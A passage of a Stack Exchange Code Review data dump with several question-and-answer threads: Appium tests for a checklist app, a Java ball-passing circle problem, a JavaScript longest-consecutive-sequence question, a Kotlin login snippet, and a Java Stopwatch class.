Assert.fail("The added items are not found in the checklist");
System.out.println("Verified that the added items are actually added.");
}
@Test(priority=3, description="Remove an item from a checklist and verify that if the item has actually got removed from the checklist")
public void removeItemsFromChecklist() throws Exception
{
addItemsToCheckList();
System.out.println("Navigating back to the homepage");
HelperMethods.navigateBackToHomePageFromChecklistPage(driver);
String itemsToBeRemoved[] = {TestData.itemName2};
String expectedItemsAfterRemoval[] = {TestData.itemName1, TestData.itemName3};
System.out.println("Opening checklist");
HelperMethods.openChecklist(driver, TestData.newChecklistName);
System.out.println("Removing item from checkist");
HelperMethods.removeItemsFromChecklist(driver, itemsToBeRemoved);
System.out.println("Verifying if the item has actually got removed from the checklist");
if(!HelperMethods.verifyItemsInChecklist(driver, expectedItemsAfterRemoval))
Assert.fail("Looks like the item was not removed from the checklist");
}
@Test(priority=4, description="Delete a checklist and verify that the checklist is actually deleted")
public void deleteChecklist() throws Exception
{
removeItemsFromChecklist();
HelperMethods.navigateBackToHomePageFromChecklistPage(driver);
HelperMethods.deleteCheckList(driver, TestData.newChecklistName);
if(HelperMethods.verifyChecklistPresent(driver, TestData.newChecklistName))
Assert.fail("Checklist "+TestData.newChecklistName+" does not get deleted");
}
}
</code></pre>
<hr>
<pre><code>package org.fltmobile.easychecklist;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import org.openqa.selenium.By;
import org.openqa.selenium.WebElement;
import org.testng.Assert;
import io.appium.java_client.android.AndroidDriver;
public class HelperMethods
{
public static void createNewChecklist(AndroidDriver driver, String checklistName)
{
driver.findElement(Locators.plusIcon).click();
driver.findElement(Locators.newChecklistAlertNameTextField).sendKeys(checklistName);
driver.findElement(Locators.newChecklistAlertOKButton).click();
driver.navigate().back();
}
public static void openChecklist(AndroidDriver driver, String checklistName) throws Exception
{
List<WebElement> checklistElement = driver.findElements(Locators.listOfAllChecklists);
int flag=0;
for(WebElement ele: checklistElement)
{
if(ele.getText().equals(checklistName))
{
flag++;
ele.click();
}
}
if(flag==0)
throw new Exception("Checklist "+checklistName+" is not found");
}
public static void addItemsToChecklist(AndroidDriver driver, String[] items) throws Exception
{
//Assuming that the checklist page is open
if(items.length<1)
throw new Exception("No items specified");
for(int i=0; i<items.length; i++)
{
driver.findElement(Locators.addItemToChecklistTextBox).sendKeys(items[i]);
driver.findElement(Locators.addItemToChecklistPlusButton).click();
}
}
public static boolean verifyItemsInChecklist(AndroidDriver driver, String[] items)
{
//Assuming that the checklist page is open
List<String> actualItems=new ArrayList<String>();
List<WebElement> actualItemElements = driver.findElements(Locators.listOfAllItemsInChecklist);
System.out.println("Actual Number of Items in checklist ="+actualItemElements.size());
for(WebElement actualItemElement: actualItemElements)
{
System.out.println(actualItemElement.getText());
actualItems.add(actualItemElement.getText());
}
if(Arrays.equals(items, actualItems.toArray()))
return true;
else
return false;
}
public static void removeItemsFromChecklist(AndroidDriver driver, String[] items) throws Exception
{
//Assuming that the checklist page is open
List<WebElement> actualItemElements = driver.findElements(Locators.listOfAllItemsInChecklist);
if(actualItemElements.isEmpty())
throw new Exception("The checklist is empty. Cannot remove elements");
if(items.length<1)
throw new Exception("No item specified to remove from the checklist");
for(int i=0; i<items.length; i++)
{
for(WebElement actualItemElement: actualItemElements)
{
if(actualItemElement.getText().equals(items[i]))
selectCheckbox(driver, items[i]);
}
}
driver.findElement(Locators.deleteIcon).click();
}
public static void selectCheckbox(AndroidDriver driver, String itemName)
{
driver.findElementByXPath(Locators.item.replace("ITEM", itemName)+"/../android.widget.CheckBox").click();
}
public static void deleteCheckList(AndroidDriver driver, String checklistName)
{
//Assuming that the list of checklists page (which is the homepage) is open
driver.findElement(By.xpath(Locators.XIconForChecklistDeletion.replace("CHECKLIST_NAME", checklistName))).click();
driver.findElement(Locators.deleteChecklistAlertOKButton).click();
}
public static boolean verifyChecklistPresent(AndroidDriver driver, String checklistName)
{
List<WebElement> checkListElements = driver.findElements(Locators.listOfAllChecklists);
if(checkListElements.size()==0)
return false;
for(WebElement checkListElement: checkListElements)
{
if(checkListElement.getText().equals(checklistName))
return true;
}
return false;
}
public static void navigateBackToHomePageFromChecklistPage(AndroidDriver driver)
{
driver.navigate().back();
}
}
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T20:25:27.007",
"Id": "212775",
"Score": "1",
"Tags": [
"java",
"android",
"integration-testing"
],
"Title": "Appium automated tests for manipulating checklists"
} | 212775 |
<p>I have an assignment to solve this problem. There are a total of 18 test case files, 5 of which I have failed due to exceeding some time limit on the script and I am unable to verify if there are any logic errors thereafter.</p>
<blockquote>
<p><strong>Question Description</strong></p>
<p>Mr. Muffin is an orientation group leader and sets up a simple ice
breaking game. N students initially sit in a circle with one of them
holding a ball. Every time Mr. Muffin shouts “NEXT”, the student
holding the ball passes it to the next student clockwise. The student
that receives the ball will have to shout their name. </p>
<p>Occasionally, the student holding the ball might want to “LEAVE” the
circle (going to the toilet for example). In that case, the student
will pass the ball to the next student clockwise in the circle and
leave. The student receiving the ball will shout their name as well. </p>
<p>New students might also arrive and want to “JOIN” the circle. In this
case, the new student will sit at the position such that they will be
the next student to receive the ball. The ball will then be
immediately passed to the new student and the new student will have
shout their name. </p>
<p>As the number of students increases, Mr. Muffin finds it very
difficult to keep track of all the students and their names. Thus,
given the list of events that happen (either NEXT, LEAVE or JOIN), he
wants you to code a program to tell him what name will be shouted at
each time. </p>
<p>Even though the students are sitting in a circle which is non-linear,
Rar the Cat suggests that clever usage of Java API Linear Data
Structures would be sufficient to solve this task. (i.e. You do not
need to implement your own data structure for this task.) </p>
<h3>Input</h3>
<p>The first line contains a single integer N, the number of students
initially in the circle.</p>
<p>The second line contains N strings, representing the names of the
students in the circle in a clockwise manner. The first name in the
list is the name of the student currently holding the ball.</p>
<p>The third line contains a single integer Q, the number of events that
happen.</p>
<p>The next Q lines represent the events that happen in chronological
order. The first string of each line will either be NEXT, LEAVE or
JOIN, representing the event. If the event is JOIN, then that line
will contain a second string representing the name of the student that
joined. </p>
<h3>Output</h3>
<p>The output should contain Q lines, representing the names that are
shouted in the order of the events. </p>
<h3>Limits</h3>
<ul>
<li>3≤N,Q≤200,000</li>
<li><p>It is guaranteed that every student’s name will consist of only English letters and be at most 10 characters long. However, the names of students might not be distinct. For instance, there can be more than 1 student with the name ‘Bob’.</p></li>
<li><p>It is also guaranteed that there will be at least 3 people in the circle at any point in time.</p></li>
</ul>
<h3>Sample input</h3>
<pre class="lang-none prettyprint-override"><code>3
Alice Bob Charlie
4
NEXT
JOIN Donald
NEXT
LEAVE
</code></pre>
<h3>Sample output</h3>
<pre class="lang-none prettyprint-override"><code>Bob
Donald
Charlie
Alice
</code></pre>
</blockquote>
<p>Does anyone have a solution to my problem? Do inform me if any more information is needed.</p>
<pre class="lang-java prettyprint-override"><code>import java.util.*;
public class Ballpassing {
private void run() {
//implement your "main" method here
LinkedList<String> lst = new LinkedList<>();
Scanner sc = new Scanner(System.in);
int length = sc.nextInt();
for (int i = 0; i < length; i++) {
String name = sc.next();
lst.add(name);
}
int idx = 0;
int count = sc.nextInt();
for (int i = 0; i < count; i++) {
int nextIdx = (idx + 1)%lst.size();
String cmd = sc.next();
//handles the case where going to the head of the list is required, by moving the list rightwards
if (nextIdx == 0) {
LinkedList<String> shifted = (LinkedList<String>) lst.clone();
String element = shifted.getLast();
shifted.remove(idx);
shifted.addFirst(element);
idx = 0;
nextIdx = 1;
lst = shifted;
}
if (cmd.equals("LEAVE")) {
System.out.println(lst.get(nextIdx));
lst.remove(idx);
continue;
} else if (cmd.equals("JOIN")) {
String name = sc.next();
lst.add(nextIdx,name);
}
idx = nextIdx;
System.out.println(lst.get(idx));
}
}
public static void main(String[] args) {
Ballpassing newBallpassing = new Ballpassing();
newBallpassing.run();
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T02:07:34.333",
"Id": "411615",
"Score": "2",
"body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T05:03:56.450",
"Id": "411619",
"Score": "0",
"body": "Noted, sorry for committing the mistake."
}
] | [
{
"body": "<p>The obvious amount of time/complexity (and memory) you \"waste\" is here:</p>\n\n<pre><code> if (nextIdx == 0) {\n // clone a 200k element list, Thanks a lot! :)\n LinkedList<String> shifted = (LinkedList<String>) lst.clone();// <- O(lst.size())!\n String element = shifted.getLast();// <- O(1)\n shifted.remove(idx);// <- O(1) <- wrong, O(n) <- correct\n shifted.addFirst(element);// <- O(1)\n idx = 0;// <- O(1)\n nextIdx = 1;// <- O(1)\n lst = shifted;// <- O(1)\n }\n</code></pre>\n\n<p>...since this code is equivalent, but with \"quadratic\" complexity (and linear memory) savings:</p>\n\n<pre><code>if (nextIdx == 0) {\n String tmp = lst.getLast();// <- O(1)\n lst.remove(idx);// <- O(1) <- wrong, O(n) <- correct\n lst.addFirst(tmp);// <- O(1)\n idx = 0;// <- O(1)\n nextIdx = 1;// <- O(1)\n}\n</code></pre>\n\n<p>..welcome & well done so far!</p>\n\n<hr>\n\n<p>Thanks for the feedback! The only bottlenecks I see left are:</p>\n\n<ul>\n<li><p><code>LinkedList.get(int idx)</code> (this is also <code>O(lst.size()/2)</code>)</p></li>\n<li><p><code>Scanner</code> is not the best choice for \"big data\"/performance. (and N=200k is \"not really big\")</p></li>\n<li><p><code>System.out.print</code> slows things down, but I fear we can't change this.</p></li>\n</ul>\n\n<hr>\n\n<p>Please \"try\" (to pass the assignment):</p>\n\n<pre><code>ArrayList<String> lst = new ArrayList<>();\n... // with :\n if (nextIdx == 0) { // --> idx == lst.size() - 1\n String tmp = lst.remove(idx);\n lst.add(0, tmp);\n idx = 0;\n nextIdx = 1;\n }\n...\n</code></pre>\n\n<p>see:</p>\n\n<ul>\n<li><a href=\"http://www.javacreed.com/comparing-the-performance-of-various-list-implementations/\" rel=\"nofollow noreferrer\">http://www.javacreed.com/comparing-the-performance-of-various-list-implementations/</a> (<code>LinkedList.get</code> <em>is</em> horrible!)</li>\n<li><a href=\"https://stackoverflow.com/q/3830694/592355\">https://stackoverflow.com/q/3830694/592355</a></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T15:46:23.293",
"Id": "411575",
"Score": "0",
"body": "Hi, while you are right in that I could have improved my code to the code you have suggested, it seems even with the changes I'm not passing the time limit on the online grader, I think there's bound to be more optimisation opportunities elsewhere"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T15:29:01.577",
"Id": "212798",
"ParentId": "212782",
"Score": "2"
}
},
{
"body": "<p>Re-thinking the problem & re-working your code (unfortunately I have only the basic test case), please see following solution (comments inline):</p>\n\n<pre><code>...\n private void run() {\n // back to LinkedList, since it *is* the \"perfect\" data structure for this problem/game.\n final LinkedList<String> lst = new LinkedList<>();\n final Scanner sc = new Scanner(System.in);\n final int length = sc.nextInt();\n for (int i = 0; i < length; i++) {\n lst.add(sc.next());\n }\n final int count = sc.nextInt();\n // and we use it via ListIterator, it supports constant time next()(, previous()), remove() and add() operations.\n // ...arrayList offers the same functionality but with more \"arraycopy\".\n ListIterator<String> it = lst.listIterator();\n // Initialize with (/skip) \"Alice\" \n it.next();\n for (int i = 0; i < count; i++) { // <- O(count)\n // command\n final String cmd = sc.next(); // <- O(1)\n // switch (with strings since java7)\n switch (cmd) { // <- O(1)\n case \"JOIN\": {// join:\n // add \"before current next()\"\n it.add(sc.next()); // <- O(1)\n // ... and set iterator to \"correct\" position.\n it.previous();// == name // <- O(1)\n break;\n }\n case \"LEAVE\": { // leave:\n // remove current player (iterator at correct position)\n it.remove(); // <- O(1)\n break;\n }\n case \"NEXT\": { // next: (do nothing special, iterator at correct position)\n break;\n }\n default: {\n // throw illegal argument exception...\n break;\n }\n } // end-switch(cmd)\n // checkoverflow\n it = checkOverflow(it, lst); // <- O(1)\n // print next & iterate\n System.out.println(it.next()); // <- O(1)\n } // end-for\n } // end-run()\n\n /* utility function: resets iterator, when it reached the end of list (!hasNext()) */\n private static ListIterator<String> checkOverflow(ListIterator<String> it, LinkedList<String> lst) {\n return it.hasNext() ? it : lst.listIterator(); // <- O(1)\n }\n</code></pre>\n\n<p>see: <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/ListIterator.html\" rel=\"nofollow noreferrer\">https://docs.oracle.com/javase/8/docs/api/java/util/ListIterator.html</a></p>\n\n<hr>\n\n<p>Sure, welcome! :) ...</p>\n\n<p>As we found (in <a href=\"https://codereview.stackexchange.com/a/212798/8740\">my intial/quick answer</a>), the <code>O(n)</code> complexities <em>were</em> our bottlenecks (to pass the hard test cases).</p>\n\n<p>We need a data structure wich supports the <em>most efficient</em>:</p>\n\n<ul>\n<li>NEXT (iterate/next())</li>\n<li>JOIN (at current position/add())</li>\n<li>and LEAVE (at current position/remove())</li>\n</ul>\n\n<p>... operations. Looking around (all of the known data structures), <em>all these operations</em> can be accomplished by a \"(doubly) linked list iterator\" in <code>O(1)</code> (constant) time, which made me comment:</p>\n\n<blockquote>\n <p>it <em>is</em> the \"perfect\" data structure for this problem/game.</p>\n</blockquote>\n\n<p>(until \"Q(uantum)List\" is found ... :))\n(due to my usage to & convenience to <code>java.util.Iterator</code> ... I was blinded and <em>forgot</em> about <code>java.util.ListIterator</code>! ... and the \"fine advantages\" of its usage (<code>Iterator</code> is the parent/lighter interface))</p>\n\n<p>And this enables us to accomplish the task in <code>O(Q) (Q <= 200,000)</code> steps, without actually ever \"enumerating the whole list\".</p>\n\n<p>The rest is no rocket science (hopefully):</p>\n\n<ul>\n<li><code>final</code> keywords on \"final variables\".</li>\n<li>save lines/vars (<code>String name = sc.next()</code>, ... , but also DS gives us \"new access\").</li>\n<li>in intial <code>it.next();</code> we skip \"Alice\", as implied by the \"expected output\".</li>\n<li>each \"command iteration\" is started by <code>final String cmd = sc.next();</code></li>\n<li><code>switch(cmd) case</code> ...\n\n<ul>\n<li>in case of <code>JOIN</code> we (<code>it.add()</code> &) have to reset the cursor/iterator back for one position (<code>it.previous();</code>). (In terms of the game and \"main iteration\")</li>\n<li>in case of <code>LEAVE</code> <code>it.remove()</code> leaves the cursor in correct position (in terms of the game and \"main iteration\").</li>\n</ul></li>\n<li><code>checkOverflow</code> before ...</li>\n<li>the \"main iteration\" (\"throw ball action\" = NEXT ...but also on JOIN and LEAVE <code>= it.next()</code>) happens as last statement of each \"command iteration\" ...squeezed into <code>System.out.println(it.next())</code>.</li>\n</ul>\n\n<p>I think that's it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T23:45:12.503",
"Id": "411608",
"Score": "0",
"body": "Hey, this is strange, but your code does pass the time limit, could you summarise why it works?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T20:02:18.990",
"Id": "212808",
"ParentId": "212782",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "212808",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T03:06:35.890",
"Id": "212782",
"Score": "2",
"Tags": [
"java",
"algorithm",
"programming-challenge",
"time-limit-exceeded"
],
"Title": "Mr. Muffin's ball-passing game"
} | 212782 |
<p>The task:</p>
<blockquote>
<p>Given an unsorted array of integers, find the length of the longest
consecutive elements sequence.</p>
<p>For example, given [100, 4, 200, 1, 3, 2], the longest consecutive
element sequence is [1, 2, 3, 4]. Return its length: 4.</p>
<p>Your algorithm should run in O(n) complexity.</p>
</blockquote>
<p>My solution:</p>
<pre><code>const sample = [1, 100, 2, 90, 3, 88, 4, 9, 5];
const compare = prefix => (a,b) => prefix * (a - b);
const ascending = compare(1);
const maxObj = {
maxResult: 0,
maxCurrent: 1,
};
const getMax = (max, current) => current > max ? current : max;
const countConsecutive = (maxObj, _, idx, src) => {
if ((src[idx] + 1) === src[idx + 1]) {
maxObj.maxResult = ++maxObj.maxCurrent > maxObj.maxResult ?
maxObj.maxCurrent : maxObj.maxResult;
}
return maxObj;
}
const result = sample
.sort(ascending)
.reduce(countConsecutive, maxObj);
console.log(result.maxResult);
</code></pre>
<p>Can you write the code so it is faster (and still be readable/maintainable)?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T12:47:34.820",
"Id": "411558",
"Score": "1",
"body": "`sort` makes this `O(nlog(n))`"
}
] | [
{
"body": "<h2>Complexity</h2>\n\n<p>The sort is about <span class=\"math-container\">\\$O(n log(n))\\$</span> depending on the JS engine so this makes your function above <span class=\"math-container\">\\$O(n)\\$</span></p>\n\n<h2>Redundancies</h2>\n\n<p>Your code is full of redundancies. </p>\n\n<ul>\n<li><code>compare</code> and <code>ascending</code> can just be <code>ascending</code> and if you needed <code>descending</code> you would just swap the arguments.</li>\n<li>The object named <code>maxObj</code> has redundant naming. The <code>max</code> prefix is not needed in the properties. If you use it for <code>minObj</code> would you thus need to rename the two properties?</li>\n<li>Does the max object need the name <code>Obj</code> ?</li>\n<li>You ignor the second argument of reduce and then index the array to find it. The indexing is redundant as you already have the value stored in <code>_</code>.</li>\n<li>The function <code>getMax</code> is not used.</li>\n<li>The <code>()</code> around <code>src[idx] + 1</code> is not needed, the operator <code>+</code> has <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#Table\" rel=\"nofollow noreferrer\">precedence</a> over <code>===</code> </li>\n<li>You can use <code>Math.max</code> if only complexity is important rather than the ternary that only gives a slight performance benefit over <code>Math.max</code></li>\n<li>The line <code>maxObj.maxResult = ++maxObj.maxCurrent > maxObj.maxResult ? maxObj.maxCurrent : maxObj.maxResult;</code> is redundant. Each time you call it <code>maxCurrent</code> is always greater than <code>maxResult</code>. Not only is the line redundant but it makes the need for <code>maxObj</code> redundant as well.</li>\n</ul>\n\n<h2>Same function without the redundant code</h2>\n\n<p>You can thus remove most of the code, wrap it in a function, use closure to access <code>samples</code> to get 4 line and many fewer objects, arguments, and overhead to do the same thing. More readable and faster, (not less complex)</p>\n\n<p>From about 16 lines to 4 for the same result.</p>\n\n<pre><code>const countConsecutive = arr => {\n const count = (count, val, i) => count += val + 1 === arr[i + 1] ? 1 : 0;\n return sample.sort((a, b) => a - b).reduce(count, 1);\n}\n</code></pre>\n\n<h2>However</h2>\n\n<p>With all that said I am not sure that the result is correct?</p>\n\n<p>For <code>[1, 100, 2, 90, 3, 88, 4, 9, 5]</code></p>\n\n<blockquote>\n <p><em>\"...the longest consecutive element sequence...\"</em></p>\n</blockquote>\n\n<p>is 5 items.</p>\n\n<p>That makes sense <code>1,2,3,4,5</code> </p>\n\n<p>But you return 7 for <code>[1, 100, 2, 90, 3, 88, 89, 4, 9, 5]</code>?</p>\n\n<p>To me <code>1, 2, 3, 4, 5, 88, 89, 90</code> is not a <em>\"consecutive... sequence\"</em> ???</p>\n\n<h2>An example solution</h2>\n\n<p>For a <span class=\"math-container\">\\$O(n)\\$</span> solution you need to join sequences as you find them. </p>\n\n<p>Use a <code>Set</code> to do the lookups (if the next number exists). Iterate the set deleting numbers as you go lets you only check values you have not encountered.</p>\n\n<p>Counting forwards sequences as you find them and storing the result in a map. When the next in a sequence is in the map add to the sequence length.</p>\n\n<p>That brings the solution to <span class=\"math-container\">\\$O(2n + m)\\$</span> The <span class=\"math-container\">\\$2n\\$</span> as one pass is needed to create the <code>Set</code> and where <span class=\"math-container\">\\$m\\$</span> is the number of broken sequences that at max is <span class=\"math-container\">\\$n\\$</span>. So <span class=\"math-container\">\\$O(3n)\\$</span> is the same as <span class=\"math-container\">\\$O(n)\\$</span></p>\n\n<p>There is room for performance improvement as you can do some of the counting as you create the <code>Set</code></p>\n\n<pre><code>const longestSequence = (arr) => {\n const numbers = new Set(arr), counts = {};\n var max = 1;\n for (const num of numbers.values()) {\n let counting = true, next = num + 1;\n numbers.delete(num);\n while (counting) {\n counting = false;\n while (numbers.has(next)) { numbers.delete(next++) }\n if (counts[next]) { counting = numbers.has(next += counts[next]) }\n }\n max = Math.max(counts[num] = next - num, max);\n }\n return max;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T12:17:49.557",
"Id": "411557",
"Score": "0",
"body": "I don't know why you get `7`, but I get `5`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T12:55:56.947",
"Id": "411559",
"Score": "0",
"body": "@thadeuszlay I double checked and the code as given in the question returns 7 for `[1, 100, 2, 90, 3, 88, 4, 89, 5]` the reason is you count up every time `(src[idx] + 1) === src[idx + 1]` is true so `88 +1 === 89` and so... is counted"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T13:05:02.130",
"Id": "411560",
"Score": "0",
"body": "I just executed this and it returns `5`:https://jsbin.com/qamaxitupe/edit?js,console"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T13:07:11.387",
"Id": "411561",
"Score": "0",
"body": "BTW: Isn't your code just as fast as mine, i.e. O(nlog(n))?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T13:36:07.370",
"Id": "411565",
"Score": "0",
"body": "I just ran your jsbin with `[1, 100, 2, 90, 3, 88, 4, 89, 5]` and it returned 7. (NOTE I changed the 9 to 89) And yes it is the same complexity. I did not change the logic just the number of lines"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T13:56:33.427",
"Id": "411568",
"Score": "0",
"body": "You are right. I see what you mean."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T11:32:27.440",
"Id": "212789",
"ParentId": "212785",
"Score": "1"
}
},
{
"body": "<p>I think you can get average-case O(n) complexity using hashing. </p>\n\n<p>Perform a single pass over the data, recording consecutive ranges in a hash table ( the current start and end of each range needs to be recorded ).</p>\n\n<p>When the next input element ( integer ) is encountered, check ( using hashing ) whether there is a range which can be extended.</p>\n\n<p>If there is, extend that range, re-hashing as necessary. Keep track of the longest range found ( which will be the final result ).</p>\n\n<p>[ Be sure to allow for the case where the new element allows two ranges to be merged ]</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T01:04:10.917",
"Id": "411611",
"Score": "0",
"body": "if we define \"average\" and \"linear\" loosely enough that hashing qualifies, then radix sort qualifies too and we're back to the original, simpler algorithm."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T13:46:02.737",
"Id": "212797",
"ParentId": "212785",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "212789",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T09:01:24.870",
"Id": "212785",
"Score": "0",
"Tags": [
"javascript",
"functional-programming"
],
"Title": "Find the length of the longest consecutive elements"
} | 212785 |
<p>I have next method in client</p>
<pre><code>fun authUser(loginRequest: LoginRequest): String?
</code></pre>
<p>I need to implement next logic: check if user already exists - nothing to do,
if user isn't existed - register him.</p>
<p>I wrote next </p>
<pre><code>fun initTechUser() {
when {
client.authUser(USER_CREDENTIALS) == null -> {
client.registerUser(MIGRATION_USER_CREDENTIALS)
}
}
}
</code></pre>
<p>I hope there is practice to make this code better. Can somebody look at?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T13:21:12.333",
"Id": "411563",
"Score": "2",
"body": "Welcome to Code Review. For future reference, check [how to write a better question](https://codereview.meta.stackexchange.com/a/6429/31562)"
}
] | [
{
"body": "<p>There's really no need to use a <code>when</code> statement for just one condition. A simple <code>if</code> will do just fine. Also, check your indentation.</p>\n\n<pre><code>fun initTechUser() {\n if (client.authUser(USER_CREDENTIALS) == null) {\n client.registerUser(MIGRATION_USER_CREDENTIALS)\n }\n}\n</code></pre>\n\n<p>You could also extract an extra method to make the code more readable.</p>\n\n<pre><code>fun initTechUser() {\n if (!client.isAuthenticated()) {\n client.registerUser(MIGRATION_USER_CREDENTIALS)\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T13:57:27.560",
"Id": "411569",
"Score": "0",
"body": "I meant is there way using java-Optional-style to implement such logic?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-06T22:25:06.667",
"Id": "424665",
"Score": "1",
"body": "@ArtyomKarnov sure, there's always `fun initTechUser() { client.authUser(USER_CREDENTIALS)?.let { it.registerUser(MIGRATION_USER_CREDENTIALS } }` but I agree with @Simon Forsberg that extracting the `isAuthenticated()` method and using `if` is clearer/cleaner."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T13:20:14.757",
"Id": "212794",
"ParentId": "212787",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T11:09:32.550",
"Id": "212787",
"Score": "-3",
"Tags": [
"kotlin",
"optional"
],
"Title": "Change Kotlin optional-like style"
} | 212787 |
<p>I am looking for input on my code for a Stopwatch utility written in Java. </p>
<p>The stopwatch uses <code>System.nanoTime</code> as its time source. In general it works similarly to the standard .NET version and is, as far as my unit tests go, correct. You can query it whether or not it is running, and it will give the most recent recorded value each time. </p>
<p>I am just curious to hear some thoughts on my code and suggestions for improvement, if any. It's extremely lightweight so feel free to test it on your machine if you wish. </p>
<pre><code>/**
* File: Stopwatch.java
*/
package org.me.mystuff;
import java.util.concurrent.TimeUnit;
public class Stopwatch {
/**
* The start timestamp, as determined by a call to {@code System.nanoTime}.
*/
private long start;
/**
* The total elapsed time recorded so far in nanoseconds (raw value).
*/
private long elapsed;
/**
* Whether or not the stopwatch is running.
*/
private boolean running;
/**
* Constructs a new {@code Stopwatch} instance.
*/
public Stopwatch() {
reset();
}
/**
* Stops time interval measurement, resets the elapsed time to zero, and
* starts measuring time again.
*
* <p>
* This is a convenience method equivalent to calling {@code reset} followed
* by {@code start}.
*/
public void restart() {
reset();
start();
}
/**
* Stops time interval measurement and resets the elapsed time value to
* zero.
*/
public void reset() {
running = false;
start = 0;
elapsed = 0;
}
/**
* Initializes a new {@code Stopwatch} instance, sets the elapsed time value
* to zero, and starts measuring elapsed time.
*
* @return a running {@code Stopwatch} instance
*/
public static Stopwatch startNew() {
final var s = new Stopwatch();
s.start();
return s;
}
/**
* Starts, or resumes, measuring elapsed time for an interval.
*/
public void start() {
// Calling start() on a running stopwatch is a no-op.
if (!isRunning()) {
running = true;
start = start <= 0 ? System.nanoTime() : System.nanoTime() - elapsed;
}
}
/**
* Stops measuring elapsed time for an interval.
*/
public void stop() {
// Calling stop() on a stopped stopwatch is a no-op.
if (isRunning()) {
elapsed = System.nanoTime() - start;
running = false;
}
}
/**
* Returns the elapsed time measured so far by this stopwatch in the
* specified {@code TimeUnit}.
*
* @param timeUnit
* the desired time unit
* @return the duration in the specified time unit
*/
public double elapsed(TimeUnit timeUnit) {
// If the stopwatch is running, compute and return the current timestamp.
// Otherwise, just return the timestamp as of the last call to stop().
final long duration = isRunning() ? System.nanoTime() - start : elapsed;
return UnitConverter.convert(duration, timeUnit);
}
/**
* Returns {@code true} if the stopwatch is currently running.
*
* @return {@code true} if this stopwatch is running
*/
public boolean isRunning() {
return running;
}
/**
* Returns a string representation of the elapsed time measured so far by
* this stopwatch, expressed in milliseconds using two decimal places.
*
* <p>
* Example: 1.2345 milliseconds would return a string equal to
* {@code "1.23 ms"}.
*
* <p>
* This is a convenience method that simplifies querying the stopwatch for
* reporting purposes.
*/
@Override
public String toString() {
final double duration = elapsed(TimeUnit.MILLISECONDS);
final double rounded = Math.round(duration * 100d) / 100d;
return String.valueOf(rounded).concat(unit);
}
/**
* This class is an internal utility to supplement the stopwatch's unit
* conversion operations.
*/
private static class UnitConverter {
/**
* The number of nanoseconds in a millisecond.
*/
static final double NANOS_PER_MILLI = 1e6;
/**
* The number of nanoseconds in a second.
*/
static final double NANOS_PER_SECOND = 1e9;
/**
* The number of nanoseconds in a minute.
*/
static final double NANOS_PER_MINUTE = 6e10;
/**
* The number of nanoseconds in an hour.
*/
static final double NANOS_PER_HOUR = 3.6e12;
/**
* Converts the specified nanosecond value to the specified time unit
* and returns the result.
*
* @param nanoTime
* the value to convert (in nanoseconds)
* @param toUnit
* the desired time unit
* @return the converted value
*/
static double convert(long nanoTime, TimeUnit toUnit) {
switch (toUnit) {
case MILLISECONDS:
return toMillis(nanoTime);
case SECONDS:
return toSeconds(nanoTime);
case MINUTES:
return toMinutes(nanoTime);
case HOURS:
return toHours(nanoTime);
default:
throw new IllegalArgumentException("no valid time unit specified");
}
}
static double toMillis(long nanos) {
return nanos / NANOS_PER_MILLI;
}
static double toSeconds(long nanos) {
return nanos / NANOS_PER_SECOND;
}
static double toMinutes(long nanos) {
return nanos / NANOS_PER_MINUTE;
}
static double toHours(long nanos) {
return nanos / NANOS_PER_HOUR;
}
}
}
</code></pre>
| [] | [
{
